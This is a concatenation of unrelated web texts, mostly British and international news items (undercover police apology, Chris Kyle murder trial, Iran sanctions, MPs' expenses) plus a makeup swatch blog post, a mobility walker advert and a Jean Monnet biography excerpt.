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However, he added: ‘No evidence has been identified to establish the full circumstances of the death beyond all reasonable doubt.’
The spy’s DNA was not found on the 81cm x 48cm (32in x 19in) holdall. No palm prints were on the rim of the bath.
Mr Williams, from Anglesey, was on secondment to MI6 from GCHQ when he died in August 2010. His body was found at his flat in Pimlico, central London.Police chiefs have apologised unreservedly to seven women who were deceived into forming “abusive and manipulative” long-term relationships with undercover police officers.
The Metropolitan police have also paid substantial, undisclosed amounts of compensation to the women who had intimate relationships, lasting up to nine years, with the undercover spies.
Lisa Jones, girlfriend of undercover policeman Mark Kennedy: ‘I thought I knew him better than anyone’ Read more
The comprehensive apology comes four years after the women launched legal action against the police, alleging the deception caused them emotional trauma.
As part of an out of court settlement, Martin Hewitt, an assistant commissioner at the Met, issued a statement saying: “Thanks in large part to the courage and tenacity of these women in bringing these matters to light it has become apparent that some officers, acting undercover whilst seeking to infiltrate protest groups, entered into long-term intimate sexual relationships with women which were abusive, deceitful, manipulative and wrong.
“I acknowledge that these relationships were a violation of the women’s human rights, an abuse of police power and caused significant trauma. I unreservedly apologise on behalf of the Metropolitan police service. I am aware that money alone cannot compensate the loss of time, their hurt or the feelings of abuse caused by these relationships.”
He added: “Most importantly, relationships like these should never have happened. They were wrong and were a gross violation of personal dignity and integrity.
“The Metropolitan police recognises that these cases demonstrate that there have been failures of supervision and management. The Metropolitan police recognises that this should never happen again and the necessary steps must be taken to ensure that it does not.”
He described the conduct of the undercover officers as “totally unacceptable” and conceded that the woman had been “deceived pure and simple”.
On Friday, the women said: “Although no amount of ‘sorry’, or financial compensation, can make up for what we and others have endured, we are pleased the police have been forced to acknowledge the abusive nature of these relationships and that they should never happen.
“By linking our cases together we have been able to evidence a clear pattern of abusive, discriminatory behaviour towards women which amounts to institutional sexism by the Metropolitan police.”
“Five years ago, it would have seemed inconceivable to the public that state employees would go to such lengths but the scale of abuse uncovered demonstrates that this was accepted practice for many years.“
The women have criticised police for obstructing legal action through a variety of tactics since they launched it in 2011. On Friday, Hewitt accepted that the legal proceedings “have been painful distressing and intrusive and added to the damage and distress. The women have conducted themselves throughout this process with integrity and absolute dignity.”
Who pays the price of police spies’ betrayals? | Letters Read more
The settlement is a significant moment in a controversy that has enveloped police since late 2010 when Mark Kennedy, the undercover spy who infiltrated environmental groups for seven years, was unmasked by activists.
The home secretary, Theresa May, has ordered a judge-led public inquiry to examine the undercover infiltration of political groups since 1968, after a series of revelations.
Investigations by campaigners and the Guardian revealed that undercover officers have frequently formed sexual relationships with women on whom they had been sent to spy.
Kennedy was identified in the legal action as one of five undercover officers who concealed their real identities from their girlfriends during the relationships.
One of the women, known only as Lisa Jones, had a six-year relationship with Kennedy before she and her friends exposed him. In her first media interview, she told the Guardian that gradually uncovering the truth about him felt like “long, slow painful torture – real psychological torture”.
Another undercover officer, Bob Lambert, had relationships with four women while pretending to be an animal rights and environmental activist for four years in the 1980s.
Helen Steel, an environmental campaigner who was one of the two defendants in the McLibel legal action against restaurant chain McDonald’s, had a two-year relationship between 1990 and 1992 with John Dines, who spied on leftwing groups. She said : “I am glad the Metropolitan police have finally admitted that these undercover relationships were abusive and indefensible.”
Helen Steel on her relationship with an undercover policeman: ‘I feel violated’ Read more
The fourth undercover officer named in the legal action was Jim Boyling, who infiltrated environmental and animal rights groups between 1995 and 2000. During that time, he started a relationship with a campaigner and went on to have two children with her.
The fifth undercover officer, Mark Jenner, lived with a woman for four years in the 1990s while he gathered information about leftwing groups.
However, an eighth woman in the legal action, Kate Wilson, has not accepted the settlement and continues her legal fight. Wilson, who had a two-year relationship with Kennedy between 2003 and 2005, said that following the discovery of his real identity, “my sense of who I am and what I can believe, have been devastating and I remain haunted by unanswered questions”.
It is understood that the police did not disclose any documents about the covert deployments of the undercover officers during the legal case.
Other women who were deceived into having relationships with undercover officers have yet to settle their legal actions against the police.
The announcement on Friday follows an out of court settlement reached last year with a woman who was profoundly traumatised after finding out by chance that Lambert was the father of her son. The woman, known as Jacqui, was paid more than £400,000 by the Met. She had made the discovery 24 years after Lambert abandoned her and her son.
Police chiefs have insisted their undercover officers were not permitted under any circumstances to sleep with the targets of their covert missions.STEPHENVILLE, Texas (Reuters) - Eddie Ray Routh was sentenced to life in prison without the possibility of parole on Tuesday after a Texas jury found him guilty of murdering Chris Kyle, the former U.S. Navy SEAL whose autobiography was turned into the hit movie “American Sniper.”
Routh, 27, a former U.S. Marine, was found guilty of fatally shooting Kyle and Kyle’s friend, Chad Littlefield, multiple times at a gun range about 70 miles (110 km) southwest of Fort Worth in February 2013. Prosecutors said he ambushed the two from the rear, waiting for Kyle to completely unload his weapon at the range before he attacked with a barrage of gunshots.
Kyle, a former ranch had turned SEAL credited with the most confirmed kills of any U.S. military sniper, has been lionized in his home state of Texas. He became entrenched in U.S. popular culture in large part due to his best-selling book and the Academy Award nominated movie directed by Clint Eastwood and starring Bradley Cooper.
After leaving military service, Kyle, who battled his own mental demons, helped counsel troubled veterans with trips for shooting and talks. He had driven Routh to the range with Kyle’s neighbor, Littlefield.
“You took the lives of two heroes, men that tried to be a friend to you. You became an American disgrace,” Littlefield’s brother-in-law, Jerry Richardson, said of Routh at a county court in the rural Texas city of Stephenville after the sentence was handed down.
The jury deliberated for a little more than two hours before reaching a verdict. Prosecutors chose not to go for the death penalty and had been seeking a life sentence without parole.
Defense lawyers argued that Routh was a paranoid schizophrenic and should be declared innocent by reason of insanity.
Even though Kyle’s autobiography has been criticized for language seen as demeaning Iraqis and has been on the losing end of a defamation suit brought by former Minnesota Governor Jesse Ventura, Kyle is revered in Stephenville, near where he grew up and went to college.
At the Texas State Cemetery in Austin, where Kyle is buried along with other major figures in the state’s history, his grave has been the most visited after his body was brought to the site in a flag-waving procession that spanned about 200 miles of Texas highway in 2013.
In closing arguments, prosecutor Jane Starnes said Routh acted coldly and deliberately when he gunned down the two and then plotted his escape.
Judy Littlefield, mother of Chad Littlefield, receives a hug from Taya Kyle, after Kyle's testimony in Stephenville, Texas, February 11, 2015. REUTERS/Tom Fox/The Dallas Morning News/Pool via Reuters
“That is not insanity. That is just cold, calculated capital murder,” Starnes said.
‘NEVER SAW IT COMING’
Defense lawyers told the jury that Routh had been to hospitals four times because of his mental illness and was diagnosed as psychotic. They said he was suffering a paranoid episode when he went to the range and met the state’s legal definition of insanity.
“He killed those men because he had a delusion. He believed in his mind that they were going to kill him.” Warren St. John said in closing arguments.
Widow Taya Kyle walked out of court as the defense was making its final arguments, slamming a door behind her.
The judge told jurors they could find a person innocent by reason of insanity if the defendant did not know the conduct was wrong due to a severe mental defect or illness.
A forensics expert called by prosecutors said Kyle and Littlefield were shot in the back at close range. They had no time to remove loaded guns that they had holstered.
“He (Kyle) absolutely never saw this coming,” said crime scene analyst Howard Ryan.
Prosecutors said the two were shot by 12 or 13 bullets and that Routh put on an act to get out of trouble.
“He is capable of dreaming up excuses to get his hide out of trouble at convenient times depending on who he is talking to,” prosecutor Alan Nash said.
Slideshow (11 Images)
Jurors saw police videos in which Routh confessed to the killings in a rambling speech and heard audio tape of a prison phone call to a reporter where he talked about shooting Littlefield first, saying he was angry that he came to the range.
Routh, dressed in a dark suit and sporting a crew cut, took notes during large parts of the trial.
He did not testify and has been behind bars since his arrest hours after the shooting.The Volkswagen Group is reportedly keen to expand its electrified plans to its range-topping brands. This could result in all-new, performance-focused hybrid and EV models from Bentley, Bugatti, Lamborghini, and Porsche, Automobile Magazine reports.
Citing an unnamed source, the publication claims Porsche’s long-awaited, all-electric Mission E will sit at the top of this new family and be followed by a zero-emissions creation from Bentley and a pair of two-door, 2+2 models from both Bugatti and Lamborghini.
The Bugatti has apparently been codenamed Atlantic and like its Italian sibling, will be underpinned by the short-wheelbase version of the Porsche Panamera Turbo S Plug-In Hybrid.
Specifics about the powertrains of the two aren’t confirmed but both should have all-electric ranges of at least 60 miles (96 km) and fast-charging features.
While other details about these two models remain sketchy, they are apparently being launched to help counteract the fuel-guzzling models currently in Bugatti and Lamborghini’s respective families.
PHOTO GALLERYShu Uemura is launching 41 new eyeshadow shades as part of their "Colour Atelier" campaign in July. Yes, you heard it right, 41! This will give a total of almost 100 shades of eyeshadow for you to choose from, depending on your location - I believe Singapore gets 41 out of 43 new shades, to give a total of just under 100, but other countries may get the full 100 shades. Of course, Shu Uemura's eyeshadows are something of a makeup cult product, so this is pretty exciting news. Even back when I first got into beauty, they were already touted as one of the brands of eyeshadow that were a must-try for their great pigmentation, multiple finishes, and smooth textures. So, with that in mind, I knew I absolutely had to swatch the new shades being launched!So, being the obsessive swatcher I am, I basically spent two hours swatching all the 41 shades that were launching here in Singapore, both for myself, as well as for you guys! (You might have seen some of this on my snapchat - I'm musicalhouses there too.) I'm told the eyeshadows are reformulated as well, although to be honest during the swatching session, I couldn't really tell that much of a difference. Which is just as well, because the old textures were already great as they were.I'm swatching the first 3 rows of the shades laid out above, and the last 3 rows will be in part 2. So, if you're into bright shades, these are all swatched in this post! I swatched these in indoor lighting, and I've done my best to get them as colour-accurate as can be, and I do think the swatches turned out decently! Anyway, without further ado, let's get down to swatching!is a matte pale, pastel petal pink. Very sweet and girly.is more of a matte peachy-pink shade, leaning towards the pink side. This is a couple of shades deeper than M128.is a flaming red shade, leaning slightly warm.is a bright pink matte. I kind of want to say this is magenta, but it's not quite purple enough, and a little more complex than that.is a deep purple shade that leans quite pink. Sort of if an eggplant shade was lightened a little and had some pink thrown in.is a tangerine orange shade, and leans warm.is going to be a popular shade for base all-over lid colours. It's a light pearly beige. The shimmer is visible in this one, but more subtle than the ME (Metallic) finish shades.is a very interesting pale lemon yellow shade. I've seen yellows in other brands, and typically they're warm egg yolk-type yellows, but this is paler and cooler. This is a good yellow for cooler-toned girls who might find the warmer version too clashing on their skintone.is a sunshine yellow, warmer and slightly deeper than S320.is a gorgeous neutral olive brown shade with a very nice shimmery finish. This would look good on a variety of undertones and skin shades, and is a great neutral colour that still has a bit of a pop to it.is a teal blue with a metallic shimmery finish. Very lovely if you're into blue shades!is a matte green that leans pretty blue. This is a cool-toned shade, but would look great on a variety of skintones.looks like it's nearly white on me, but it's actually a pale, pale blue-green shade, a cross between a pale tiffany blue and mint. Very pretty if you like pastels!is a bright blue shade, with a nice matte finish.is also a bright blue matte shade, but this one leans cooler than M660. M660 and M665 are great examples of "cool vs warm" shades, because they are very similar, in that they are both blues with similar depth of colour. But M660 leans more warm, but M665 leans more cool. In the pan they look really alike, but I think my swatches brought out the difference in undertone between the shades.is a gorgeous deep, deep blue-green that's almost blackened, but not quite.is a lovely black shade with blue sparkle and shimmer, sort of like a night sky.is a shimmery pastel lavender shade, and really lovely for lighter skintones.is also a pale lavender shade, but a shade darker than P714, and with a matte finish.is a periwinkle purple shade that's a cross between purple and blue.is a lovely dusty purple shade with the sliiightest hint of brown, and is another great neutral shade with a pop of colour. It remains firmly in the purple family, though.is a matte deep grey. It's not black though, and clearly visibly grey, even in indoor lighting.is also a matte deep grey, but this one is more blackened than M787.For the uninitiated, the shade finishes are denoted by their names - M stands for Matte, ME for Metallic, IR for Iridescent, P for Pearl, and S for Satin. Generally ME shades have the most shimmery finish, followed by P shades and IR shades, followed by S shades (which are pretty close to matte, in my opinion), and lastly, with no shimmer at all, the M shades.The textures of these when swatched were great, and so was the pigmentation. I really liked that even the light pastel shades had good pigmentation or were buildable with a few swipes - definitely none of that chalky, unpigmented textures we sometimes get with lighter pastel shades. These are sold in individual pans, with single or palette casing sold separately.UK Independence Party leader Nigel Farage has taken one step closer to backing Front National candidate Marine Le Pen in the French presidential elections in 2017, declaring that if Ms. Le Pen wins, the European Union project will collapse entirely.
Mr. Farage, who has been known to harbour concerns about the Front National as a party, told the Sunday Express newspaper that he will be backing the “utterly respectable Eurosceptic” France Arise candidate in the first round.
But he also hinted that in the second round, which his preferred candidate Nicolas Dupont-Aignan is unlikely to reach, he may back Ms. Le Pen in order to bring down the EU.
“I know her. She’s very determined, brilliant on TV. I mean absolutely brilliant,” he said, before adding: “When you watch her making her argument and you can see her getting into it she is really good at it. There’s lots of baggage and that’s the problem.”
The baggage he refers to is the Front National’s history.
Founded in 1972 by Jean-Marie Le Pen, Marine Le Pen’s father, the party hosted some unsavoury characters and Mr. Le Pen himself has been the subject of repeated controversy given his statements minimising the Holocaust amongst a number of other allegedly anti-Semitic comments.
But Ms. Le Pen has sought to move the party away from her father’s legacy, provoking a huge public row as a result.
Speaking of his changing position on Ms. Le Pen, Mr. Farage said: “It depends what the circumstances are, you’ll have to ask me in April. I have never said a bad word about her but I have never said a good word about her party and that’s where I am with this – it’s slightly awkward.”
U.S. and UK news organisations are quick to label both Mr. Farage and Ms. Le Pen “far right”, as CNN did just this week, moments after Mr. Farage had appeared on the network.
But UKIP and the Front National have never sat together in the European Parliament, with Mr. Farage leading the Europe of Freedom and Direct Democracy (EFDD) group, and Ms. Le Pen leading the Europe of Nations and Freedom (ENF) group.
Mr. Farage has sought to keep his party away from nationalistic parties from across Europe in the past, but sees them as a major opportunity to kill off the European Union for good.The modern design, sturdy construction and high quality components make the COMODITÀ Brava rolling walker one of the safest and most convenient rolling walkers in the market. Built to support weights of up to 300lb, it is tested and approved under the most demanding standards for rolling walkers. The unique design of its frame provides extra room for the feet to move, helping to avoid tripping and falling. The Comodità Brava has extra-large 8” wheels and rubber tires that deliver superior grip when brakes are applied, even on smooth surfaces like tiles, woods and carpets. The Brava model is very light (18lb), compact and it comes with a practical storage bag that makes it easy to take your rolling walker everywhere. The easily adjustable handle heights and extra wide nylon seat and back support make this walker very comfortable.
Keep readingIran has lived under Western sanctions for years, but after Mr Ahmadinejad restarted the country's nuclear programme, the international community ramped up the sanctions, imposing new rounds of restrictions every year since 2006.
In July 2012, the EU banned the import, purchase and transport of Iranian crude oil, which until then accounted for about 20% of Iran's oil exports. The sanctions cut Iran's oil exports to their lowest level since 1986 - during the Iran-Iraq war - and the Iranian rial also fell to a record low against the US dollar.
In 2012, the IMF said the Iranian economy had gone into recession for the first time in two decades.
But it is not just sanctions that are hurting the Iranian people. The president's subsidy reform plan, introduced in December 2010, has also affected the economy.
The reforms were aimed at easing pressure on state finances by cutting tens of billions of dollars from government subsidies on food and fuel, while offsetting the impact on Iran's poorer citizens by giving them monthly cash payments, so they could spend more.
But the policy helped drive up food and energy prices. As a result of increased fuel costs, products became more expensive, which reduced demand, and some firms had to lay off workers and cancel production.
The price of a sangak, Iran's national bread, has risen from a UK equivalent of 6p in 2007 to 11p in 2013. An average family would consume about 42 sangaks per month - so their outlay has risen from £2.52 to £4.62. Meat, rice and milk have also soared in price.
Meanwhile, the national minimum wage has gone down in real terms. In 2010, it was over 300m rials a month, equivalent to $275 (£177.97). High levels of inflation mean the minimum wage is now 487m rials a month, but that is only worth $134 (£87.40).
Car ownership is increasing as more middle-class Iranians buy them as investments, since cash savings have been losing value because of inflation and the currency collapse. However, they are becoming more expensive because they are made with foreign parts which keep on rising in price.
Unemployment has remained above 10% since 1997, but unofficially the rate is thought to be much higher, and the unemployment rate for women is almost double that of the men. Iran has a young population - the mean age of the population was 30 in 2011 - and youth unemployment among those aged 15-29 has remained stubbornly high at above 20% since 2006.
Critics of Mr Ahmadinejad say his populist policies have won him support among the poorer classes, but he has failed to invest in industry. During his time in power, an average of just 14,200 jobs a year have been created, whereas during his predecessor's tenure around 695,400 jobs were being created every year.
An IMF report in 2006 found Iran had the highest rate of brain drain out of 90 countries studied. According to the IMF 150,000 of the best minds were leaving the country every year - and, in 2011, official Iranian statistics said almost 4,300 students were studying abroad.
Iran was one of the first countries in the Middle East to allow women to study at university and since the Islamic Revolution of 1979, it has made big efforts to encourage more girls to enrol in higher education.
Today, enrolment levels for men and women at primary, secondary and tertiary levels are about the same. In fact university applications in 2011 were slightly higher for women than men.
But in September 2012 a number of colleges and universities announced they were closing courses to women. No official reason was given for the decision but critics believe it was an attempt to restrict women's access to education and return them to the home.
It is too soon to know whether these changes have had an impact on the numbers applying.The Doma Group has won the right to develop the Yarralumla brickworks site, with up to 380 new homes around the heritage buildings.
Doma was chosen from five companies, shortlisted to two. It beat a consortium made up of the Coda Property Group, Lendlease and Canberra Contractors for the right to develop the 16ha site.
An artist's impression of Doma's plans for the Canberra Brickworks site.
The government has provided no detail about Doma's plans, nor the price it will pay, saying negotiations are still in train.
Doma head Jure Domazet confirmed recycled timber supplier Thor's Hammer would vacate the brickworks. His plans included restaurants, cafes, art and craft spaces, a "community men's shed" and a cycling hub with bike repair shop. There would be some retail, but no supermarket and no hotel. Homes would be built around the brickworks grounds.Monnet quit school when he was 16 to enter a profession that, directly or indirectly, sustained nearly everyone in the commune of Cognac: the manufacture and marketing of the spirits that bear its name. In his late teens and early twenties, he absorbed the basics of accounting and administration while working for the House of Monnet, which had been in the family since 1838.
At the end of his long life, Monnet described his birthplace as a “brandy town [where] one did one thing, slowly and with concentration.” That could have served as a motto for the singular purpose of his own life: the cultivation and marketing of a grand plan that would bring lasting peace to Europe.
Long after Monnet left the brandy trade, it continued to be a rich source of the metaphors he used to explain his lifelong undertaking. On brisk morning walks with friends in the countryside around his farmhouse in Houjarray, a village outside of Paris, Monnet would sometimes depart from discussion of the great issues of the day to reflect on what it took to make a fine cognac: harmony between the blessings of nature (climate, soil, and vines) and the virtues of human agency (patience in husbandry; care in fermentation, distillation, blending, and aging; thrift in good times, resilience in bad). He especially valued consistency of method and order: hanging the vines on meticulously laid-out trellises, fermenting the juices of the grapes for weeks, distilling them twice, then storing the result in neatly arrayed oak casks in dark cellars for anywhere from two years to a decade.
Once the contents were bottled, the final stage of the process—selling cases around the world—required this young man of country stock to become a globe-trotting cosmopolitan. He learned English as a child because it was “the language of our clientele,” and traveled widely around Europe as well as North America and the Middle East to promote the Monnet brand with its salamander emblem and, for the longest-aged, top-of-the-line product, the X.O. (“Extra Old”) rating.
“equality is absolutely essential in relations between nations, as it is between people. ”
The firm was competing against the superpowers Hennessy and Martell. But brandy merchants also depended on cooperation with each other in order to broaden the global market for the benefit of all. An environment conducive to vigorous trade was a common good. That was an ethos that suited Monnet’s temperament. His inclination to listen carefully, combined with his ability to respond convincingly, argue tactfully, and probe for compromise made him a good businessman; it also turned out to be good training for diplomacy.
Monnet’s transition to what would become his life’s work occurred in the summer of 1914, shortly before the guns of August shattered the grand illusion that global interdependence would keep the major powers from ever again going to war. On his way home from London he learned, during a stop at the Poitiers railway station, that Germany had declared war on Russia and begun moving troops into Luxembourg, and France was mobilizing.
With the help of a family friend, Monnet went straight to the top of the French government to volunteer his services. Premier René Viviani was so impressed that he authorized the 25-year-old to negotiate the terms of an agreement between France and Britain to coordinate their production of armaments. Within three years, Monnet was helping Étienne Clémentel, the French minister of commerce and industry, to develop a proposal for a post-war “new economic order” based on Franco-British cooperation but open to other European countries as well.
The allies rejected that proposal at Versailles, but by then Monnet had patrons at the highest levels in Paris and London. When the League of Nations was established in 1919, they arranged for him to become its deputy secretary-general. Unfortunately, the unanimity principle under which the League was supposed to make decisions and take action kept it from doing much of either, and it was doomed almost from the start. Disillusioned, Monnet quit his post in 1923 to help his father cope with the family business, which was struggling.
After several years, Monnet became a peripatetic banker assisting governments with the modernization of their finances and infrastructure. He helped several Central European countries stabilize their currencies and advised Chiang Kai-shek on how to upgrade the Chinese railway system. Operating in a private capacity, Monnet had found a way to promote the integration of national economies as a basis for international commerce and peace.
But in the 1930s, the world was heading in another direction. Throughout modern history, economic distress has stoked the politics of fear, anger, and irrationality. Those, in turn, have often led to extremist, paranoid, repressive, protectionist, and sometimes aggressive government policies. This was never more true than during the Great Depression, which heightened the economic misery of war-torn nations, undermined democratic governments, and incubated fascism.
The Greatest Frenchman Peres on Monnet Jean Monnet’s circle of friends, intellectual interlocutors, and admirers was global in scope and distinguished in its members. Despite the passage of more than half a century, President Shimon Peres of Israel remembers vividly conversations he had with the father of European integration. In an interview with Strobe Talbott, Peres recalled asking Monnet in the late fifties about “his dream.” Monnet's answer: “We have to unite Europe because the alternative is that our skirmishes, our wars, our insults that have characterized Europe in the past will continue for the next thousand years. It's not enough that the Second World War is over. Unless we build a new world, the danger of war will hang over our heads.” As Peres noted, “Monnet’s vision was political, but his means were economic. A political vision inevitably generates opposition, so a pragmatic visionary must dress it up in a way that stresses its economic advantage.” President Peres remembered with chuckle how he may have committed “a faux pas” when asked by a French newspaper, “Who do you see as the greatest Frenchman?” Without waiting for Peres’s reply, the reporter suggested that the right answer might be Napoleon. “I said, ‘No. I think Jean Monnet's greater than Napoleon. Why? Because Napoleon left after him a tomb while Monnet left a cradle in which a new, peaceful Europe was born.”
Monnet had long feared that the interwar period would be just that—a respite between global conflagrations. Like Keynes, he came to view the “war guilt” clause in the Versailles Treaty, which demanded reparations in the form of payments and transfers of property and equipment from Germany, to be a mistake. It was based, he believed, on “discrimination,” a violation of the core principle that “equality is absolutely essential in relations between nations, as it is between people.”
For Monnet, this was not just an ethical principle but a pragmatic one. Versailles had imposed a Carthaginian peace that would come back to haunt winners and losers alike by inciting, in little more than a decade, the worst kind of nationalism and racism. In 1935, at a dinner party on Long Island, Monnet heard from John Foster Dulles, then a |
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AdvertisementsThe Royal Canadian Navy has lost the use of another one of its air defence destroyers after rust was found in the hull, leaving the fleet further diminished as more than a dozen other vessels undergo regular maintenance, modernization and repairs.
HMCS Iroquois was tied up in Halifax sometime in mid-April after corrosion was detected in a machinery space in the warship that has also been plagued by structural cracks.
Cmdr. Jay Harwood says the vessel is undergoing an assessment to determine if it needs repairs, what that might cost and whether fixing the 42-year-old ship might prove too expensive before it is due to be decommissioned in the next few years.
"We recognize the need to assess what we're seeing here and make a well-founded engineering judgment," Harwood, who oversees the fleet's engineering state, said Wednesday in an interview.
"There were some areas of concern identified with respect to her structure and right now we're just assessing the overall state of her structure to confirm that she's safe to continue operations at sea."
Harwood would not specify where the corrosion was found or reveal how extensive it is, saying only that it is in the interior and that a navy dive team had inspected the vessel's underside to make sure it hadn't permeated the hull.
This latest setback removes a vital asset from the fleet and reduces certain critical capabilities, says defence analyst Martin Shadwick.
The destroyers serve as command and control vessels, but are also the only naval ships that have long-range air defence missile systems, he said.
One destroyer ready
With HMCS Iroquois indefinitely out of commission and its sister ship, HMCS Algonquin, undergoing repairs from an accident in February, the navy has only one destroyer at the ready.
It is also without many of its Halifax-class frigates, which are undergoing a lengthy modernization program to add radar and command and control systems, while upgrading radar and missile capabilities.
Shadwick said that could make it difficult to find ships to do fisheries patrols or participate in missions aimed at countering piracy, smuggling or drug trafficking, as well as any unexpected missions.
"At the exact time that your destroyer numbers are slipping, maybe permanently, you're also missing a lot of the frigates," he said.
"So the bottom line is, you're short of hulls and have fewer to send anywhere.... Whatever you're using them for, you just don't have the ships."
That leaves the navy down eight vessels on each coast, with five in modernization and 11 undergoing repairs or maintenance. Out of 33 ships and submarines, only 17 are in service or "employable," according to the navy.
This latest problem comes after fatigue cracks were found on the Iroquois in February when the ship was in Boston. An engineering team travelled to the U.S. to inspect it and deemed it safe to return to its home port in Halifax.
Inspections stepped up
Harwood said they stepped up inspections of the ship after that, which led to the discovery of the corrosion.
He acknowledged that the rust problem could lead to the early decommissioning of the ship, which is due to be retired in the next few years and before any successor ships are in place.
He said the navy has had to juggle some of its operations and pull HMCS Iroquois out of some exercises, including one last week in Norfolk, Va.
"As we conduct our assessment and come up with a plan, that will determine whether any future requirements will have to be juggled," he said.
"In the coming weeks we'll have a good appreciation if we're done with the assessment or if a further assessment is required."
Shadwick said he expects the military would also have to look at her two sister ships to determine if they have similar rust problems. But navy spokesman Capt. Peter Ryan said the focus now is only on HMCS Iroquois.
The Iroquois-class destroyers were built in the early 1970s and extensively modernized in the early 1990s. They were designed for hunting subs, but were redesigned as command-and-control and air defence ships.Poverty charity The Pilion Trust has published a video of its ‘social experiment’ that is designed to show that people care about poverty but don’t always back that up with charitable giving.
Filmed secretly on the streets of London with help from agency Publicis, the video shows a man wearing a sign saying in large lettering ‘Fuck the poor’. He is handing out leaflets with the same message. Not surprisingly, many people took him to task for his offensive message, with some challenging him for his attitude to people affected by poverty.
The man then flipped his sign over to read ‘Help the poor’, and he held out a collecting tin, inviting people to donate.
The charity reports that “this time people completely ignored him”.
The point of the campaign was that plenty of people care enough about poverty, enough to challenge someone on the streets. Yet, far fewer people were prepared to make a donation to help alleviate poverty. The campaign message is therefore: “We know you care. Please care enough to give.”
The film was published on YouTube yesterday and has already been viewed more than 227,000 times. It will be released in cinemas later this month.
Savvas Panas, the Chief Executive of The Pilion Trust, said:
“As a charity, we have been severely affected by the nationwide decrease in charitable donations (20%) and Government cuts (60%). “We understand that some may be shocked by this footage. We are more offended however, that people across the United Kingdom are living in adverse poverty.”
Says Publicis ECD Andy Bird explained:
“The Pilion Trust is a small front line charity without the budget to make itself heard in paid-for media, and also loses out on High Street donations, so we helped them to make a film that highlighted the discrepancy between peoples’ attitude when confronted with injustice and bigotry about poverty, and then their apathy when asked directly to help do something about it – donate.”
Do shock tactics like this work anymore? Are they ever justified? Are there more effective methods to raise funds and generate publicity for small charities? Share your thoughts in the comments below.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A number of UKIP and Conservative Members of European Parliament have voted against or abstained on a motion praising same-sex marriage, nearly a year after the UK’s first weddings.
The European Parliament voted on a resolution yesterday on LGBT rights.
It reads: “The European Parliament takes note of the legalisation of same-sex marriage or same-sex civil unions in an increasing number of countries – 17 to date – around the world; encourages the EU institutions and the Member States to further contribute to reflection on the recognition of same-sex marriage or same-sex civil union as a political, social and human and civil rights issue.”
Despite the resolution passing by a vote of 472-115, a number of British MEPs abstained or voted against.
A number of UKIP MEPs who were present abstained on the resolution, including John Stewart Agnew, Jonathan Arnott, Janice Atkinson, Gerald Batten, James Carver, David Coburn, Bill Etheridge, Ray Finch, Nathan Gill, Roger Helmer, Mike Hookem, Patrick O’Flynn, Julia Reid, Winberg, and Steven Woolfe. Party leaders including Nigel Farage and Paul Nuttall were not present.
Conservative MEPs including Jacqueline Foster, Andrew Lewer, Anthea McIntyre and Charles Tannock voted against, while David Campbell Bannerman, Daniel Dalton and Ashley Fox abstained.
The only remaining Liberal Democrat MEP, Catherine Bearder, told PinkNews: “It’s disappointing to see a number of Conservative MEPs failing to back the recognition of same-sex marriages across Europe.
“Gay couples should have same right to marry as everyone else. We must continue fighting to ensure equal marriage becomes the norm across the EU.”Lord Rennard, the most senior Liberal Democrat embroiled in the expenses row, will step down in the autumn for what he said yesterday were health and family reasons. The departure of their chief executive saves the Liberal Democrats a potentially embarrassing row over the £40,000 he claimed for a second home.
Lord Rennard owned a flat less than two miles from the House of Lords and from his office in the party's Westminster headquarters. He is thought to have spent the £40,000 on a holiday house in Eastbourne.
The size of his claim sat uneasily alongside the high-profile campaign to clean up Parliament conducted by the Liberal Democrat leader, Nick Clegg. The Liberal Democrats have come through the expenses row with fewer embarrassing revelations than the main parties, although one of their MPs, Andrew George, came under fire for claiming expenses on a London flat used by his daughter.
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And the party's millionaire home affairs spokesman, Chris Huhne, has been ridiculed for claiming for bus tickets, HobNob biscuits and a £119 trouser press.
One outsider said that if Lord Rennard had not offered to step down, he would have faced the prospect of an investigation by the Liberal Democrat chief whip and possible disciplinary action. "He jumped before he was pushed," the source said.
In a letter to party members, Lord Rennard said he had discussed the move with Mr Clegg "some time ago".
He wrote: "I want to be able to work more flexibly in future whilst of course continuing to help our party advance. I believe that I will be better able to do so without the administrative burdens of being chief executive and running the party's day to day organisation."
Lord Rennard said he wanted to have "something of a more normal life outside the Westminster bubble" with his retired wife, Ann. "This has become more important to me as I have struggled to maintain good diabetic control with the rigours of a very demanding lifestyle. This has proved to be increasingly difficult whilst carrying out the role of chief executive at HQ and around the country."
When details of Lord Rennard's expenses were first leaked, he defended them on the grounds that they had been "specifically" approved by the House of Lords authorities. "Peers are not paid any salary or pension for their work. But you are allowed to claim an allowance for a London property whilst maintaining a home outside London as in my case," he said.
Chris Rennard organised a series of successful by-election victories in the 1990s which boosted morale and support for the Liberal Democrats, helping them win 62 seats at the 2005 election, their best showing in decades. He was made a life peer in 1999, and appointed chief executive, in charge of the party's 40 full-time staff, in 2003.
Mr Clegg paid a warm tribute to Lord Rennard, crediting him with having steered the party "through some turbulent times". He said: "Without Chris's unique skills as one of the country's most astute and effective political campaigners, I doubt that the party would now have the largest number of MPs in decades."
The longest fortnight at Westminster: MPs caught in the spotlight
CASUALTIES
Michael Martin Labour MP for Glasgow North East
Offence: Tried to stop publication of expenses. Attacked pro-reform MPs.
Reply: Quit for sake of unity.
Prospects: Standing down as Speaker and MP next month.
Sir Peter Viggers Tory MP for Gosport
Offence: Claimed £1,645 for a duck house.
Reply: Acted "in accordance with the rules".
Prospects: To step down at election.
Andrew MacKay Tory MP for Bracknell
Offence: Claimed for second home, but appears not to have a main home.
Reply: Apologised.
Prospects: Resigned as aide to David Cameron. Facing constituents today.
Douglas Hogg Tory MP for Sleaford & N Hykeham
Offence: Claimed £2,000 to clean out moat.
Reply: Said he acted within the rules, but repaying money.
Prospects: Won't run for re-election.
Shahid Malik Labour MP for Dewsbury
Offence: Paying reduced rent.
Reply: Looks forward to having his name cleared.
Prospects: Stepped down as Home Office minister. Hopes to get job back.
David Chaytor Labour MP for Bury North
Offence: Claimed £13,000 on "phantom" mortgage.
Reply: Agreed to repay money.
Prospects: Under investigation. Suspended from parliamentary party.
Elliot Morley Labour MP for Scunthorpe
Offence: Claimed £16,000 on "phantom" mortgage.
Reply: Repaying money.
Prospects: Stood down as chair of select committee. Suspended.
Ben Chapman Labour MP for Wirral South
Offence: Claimed for part of a mortgage he had already paid off.
Reply: Said fees office approved.
Prospects: Chief whip investigating. Will stand down at next election.
Lord Rennard Liberal Democrat peer
Offence: Claimed £40,000 when owned flat near Westminster
Reply: Claims it was approved
Prospects: Stepping down as party's chief executive in autumn
Anthony Steen Tory MP for Totnes
Offence: Claimed more than £80,000 over four years on mansion.
